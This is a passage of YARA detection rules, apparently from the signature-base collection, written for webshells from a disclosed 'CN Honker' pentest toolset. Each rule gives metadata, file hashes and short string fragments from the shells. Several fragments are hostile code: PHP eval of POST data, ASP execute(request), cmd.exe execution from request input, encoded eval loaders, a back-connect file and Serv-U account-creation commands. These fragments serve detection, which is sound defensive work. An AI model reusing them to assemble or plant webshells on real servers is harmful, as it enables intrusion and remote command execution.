		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
		id = "2ce7368c-7565-5b32-94d1-c87023404c5b"

	strings:
		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii
		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii

	condition:
		filesize < 4KB and all of them
}

rule CN_Honker_Webshell_offlibrary
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
		id = "c01f7c8b-a6bd-5094-9574-8cc853698607"

	strings:
		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii
		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii

	condition:
		filesize < 1005KB and all of them
}

rule CN_Honker_Webshell_cfm_xl
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
		id = "5c8d1301-fe20-50e0-86ac-99a220cd4be1"

	strings:
		$s0 = "<input name=\"DESTINATION\" value=\"" ascii
		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii

	condition:
		uint16( 0 ) == 0x433c and filesize < 13KB and all of them
}

rule CN_Honker_Webshell_PHP_linux
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
		id = "8d94f1c5-2139-5d0d-8af9-9c30a0359910"

	strings:
		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii
		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii

	condition:
		uint16( 0 ) == 0x696c and filesize < 6KB and all of them
}

rule CN_Honker_Webshell_Interception3389_get
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
		id = "b17a793f-ffb7-5cdc-ba21-b0e2f0d14490"

	strings:
		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii
		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii
		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_Webshell_nc_1
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "51d83961171db000fe4476f36d703ef3de409676"
		id = "fe83df79-f7cb-50b8-bb34-9bfc5fbe3de2"

	strings:
		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii
		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii

	condition:
		filesize < 11KB and all of them
}

rule CN_Honker_Webshell_PHP_BlackSky
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
		id = "741bb4db-6296-5222-8480-1169a6f44fd8"

	strings:
		$s0 = "eval(gzinflate(base64_decode('" ascii
		$s1 = "B1ac7Sky-->" fullword ascii

	condition:
		filesize < 641KB and all of them
}

rule CN_Honker_Webshell_ASP_asp3
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
		id = "0cb01c07-b424-532d-8aef-5ec25dfe3f19"

	strings:
		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii
		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii

	condition:
		filesize < 444KB and all of them
}

rule CN_Honker_Webshell_ASPX_sniff
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
		id = "8cf47d71-1b97-5967-ad70-2ea6fad7cc29"

	strings:
		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii
		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii

	condition:
		filesize < 91KB and all of them
}

rule CN_Honker_Webshell_udf_udf
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
		id = "07252f2d-1a99-5f21-940d-899a4821b511"

	strings:
		$s1 = "<?php // Source  My : Meiam  " fullword ascii
		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii

	condition:
		filesize < 430KB and all of them
}

rule CN_Honker_Webshell_JSP_jsp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
		id = "46f2fb10-2c0c-5bc2-b3bb-eba4c74bcad7"

	strings:
		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii
		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_Webshell_T00ls_Lpk_Sethc_v4_mail
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
		id = "2f7d8a4d-9d94-5f23-9768-cc3712678d93"

	strings:
		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii
		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii

	condition:
		filesize < 39KB and all of them
}

rule CN_Honker_Webshell_phpwebbackup
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
		id = "eb737ea6-231c-5e8d-b976-75f1044f9f54"

	strings:
		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii

	condition:
		uint16( 0 ) == 0x3f3c and filesize < 67KB and all of them
}

rule CN_Honker_Webshell_dz_phpcms_phpbb
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
		id = "f7e5413f-a7c9-51d4-8422-30c3e2462be2"

	strings:
		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii
		$s2 = "function test_1($password)" fullword ascii
		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii

	condition:
		filesize < 22KB and all of them
}

rule CN_Honker_Webshell_picloaked_1
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
		id = "2ff44c4a-ed97-5635-9926-8d54a8364fab"

	strings:
		$s0 = "<?php eval($_POST[" ascii
		$s1 = ";<%execute(request(" ascii
		$s3 = "GIF89a" fullword ascii

	condition:
		filesize < 6KB and 2 of them
}

rule CN_Honker_Webshell_assembly
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
		id = "7639e81d-fe21-5a12-9a20-fe894eefef73"

	strings:
		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_Webshell_PHP_php8
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
		id = "8b25b7f3-b94e-5887-b102-b52d340a4316"

	strings:
		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii
		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii
		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii
		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii

	condition:
		filesize < 25KB and 2 of them
}

rule CN_Honker_Webshell_Tuoku_script_xx
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
		id = "72a04950-b82d-516f-a376-5253b7de1158"

	strings:
		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii
		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii
		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii

	condition:
		filesize < 2KB and all of them
}

rule CN_Honker_Webshell_JSPMSSQL
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
		id = "061c1e53-edd0-5838-8d0f-6fb8f4fa078a"

	strings:
		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii
		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii

	condition:
		filesize < 35KB and all of them
}

rule CN_Honker_Webshell_Injection_Transit_jmPost
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
		id = "892f747e-6065-5baf-b928-8d69d8792483"

	strings:
		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii

	condition:
		filesize < 9KB and all of them
}

rule CN_Honker_Webshell_ASP_web_asp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
		id = "67e03591-770a-5b32-9579-c899894740fc"

	strings:
		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii
		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii

	condition:
		filesize < 13KB and all of them
}

rule CN_Honker_Webshell_wshell_asp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
		id = "294f0d00-7102-553d-92e2-c0a0e017385c"

	strings:
		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii
		$s2 = "hello word !  " fullword ascii
		$s3 = "root.asp " fullword ascii

	condition:
		filesize < 5KB and all of them
}

rule CN_Honker_Webshell_ASP_asp404
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"

	strings:
		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii
		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii
		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii

	condition:
		filesize < 113KB and all of them
}

rule CN_Honker_Webshell_Serv_U_asp
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
		id = "06a58a05-92bd-5124-a172-2bfd9491c2fc"

	strings:
		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii
		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii

	condition:
		filesize < 30KB and 2 of them
}

rule CN_Honker_Webshell_cfm_list
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
		id = "98302eef-d1e8-5524-a57e-d49c0e92c7e0"

	strings:
		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii
		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii

	condition:
		filesize < 10KB and all of them
}

rule CN_Honker_Webshell_PHP_php2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
		id = "377ff89d-a9ba-526c-97a1-388f9ccb48ba"

	strings:
		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
		$s2 = "<?php // Black" fullword ascii

	condition:
		filesize < 12KB and all of them
}

rule CN_Honker_Webshell_Tuoku_script_oracle
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
		id = "adc8dea6-8031-580b-b19a-e5520d41528f"

	strings:
		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii
		$s2 = "String user=\"oracle_admin\";" fullword ascii
		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii

	condition:
		filesize < 7KB and all of them
}

rule CN_Honker_Webshell_ASPX_aspx4
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"

	strings:
		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii
		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii
		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii

	condition:
		filesize < 11KB and all of them
}

rule CN_Honker_Webshell_ASPX_aspx
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"

	strings:
		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii
		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii

	condition:
		filesize < 353KB and 2 of them
}

rule CN_Honker_Webshell_su7_x_9_x
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
		id = "5d546ce8-6f8f-5b0b-9472-23f283ef9f80"

	strings:
		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii
		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii

	condition:
		filesize < 59KB and all of them
}

rule CN_Honker_Webshell_cfmShell
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "740796909b5d011128b6c54954788d14faea9117"
		id = "40d50ddb-2963-5d8e-b93a-bb44a8944229"

	strings:
		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii

	condition:
		filesize < 4KB and all of them
}

rule CN_Honker_Webshell_ASP_asp4
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4005b83ced1c032dc657283341617c410bc007b8"
		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"

	strings:
		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii
		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii

	condition:
		filesize < 150KB and all of them
}

rule CN_Honker_Webshell_Serv_U_2_admin_by_lake2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
		id = "8fce8835-a4ed-58df-a725-0c1fc04becaa"

	strings:
		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii
		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii
		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii
		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii

	condition:
		filesize < 17KB and 2 of them
}

rule CN_Honker_Webshell_PHP_php3
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
		id = "3000ac40-35de-5d24-85fb-4d105b07c2e7"

	strings:
		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii
		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii

	condition:
		filesize < 8KB and all of them
}

rule CN_Honker_Webshell_Serv_U_by_Goldsun
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
		id = "d8b85c33-b05d-531a-9c0a-a1dddcae0da4"

	strings:
		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii
		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
		$s3 = "127.0.0.1:<%=port%>," fullword ascii
		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii

	condition:
		filesize < 30KB and 2 of them
}

rule CN_Honker_Webshell_PHP_php10
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
		id = "5fe78cc6-8be3-595f-a082-e361259938e5"

	strings:
		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii
		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii

	condition:
		filesize < 600KB and all of them
}

rule CN_Honker_Webshell_Serv_U_servu
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
		id = "3e50d991-7297-5766-b68a-e74aa34ce042"

	strings:
		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii
		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii

	condition:
		filesize < 41KB and all of them
}

rule CN_Honker_Webshell_portRecall_jsp2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"

	strings:
		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii
		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii
		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii

	condition:
		filesize < 23KB and all of them
}

rule CN_Honker_Webshell_ASPX_aspx2
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
		id = "0da59fde-2214-5677-943f-05b8da4fd9d4"

	strings:
		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii
		$s1 = "<head runat=\"server\">" fullword ascii
		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii
		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 9KB and all of them
}

rule CN_Honker_Webshell_ASP_hy2006a
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
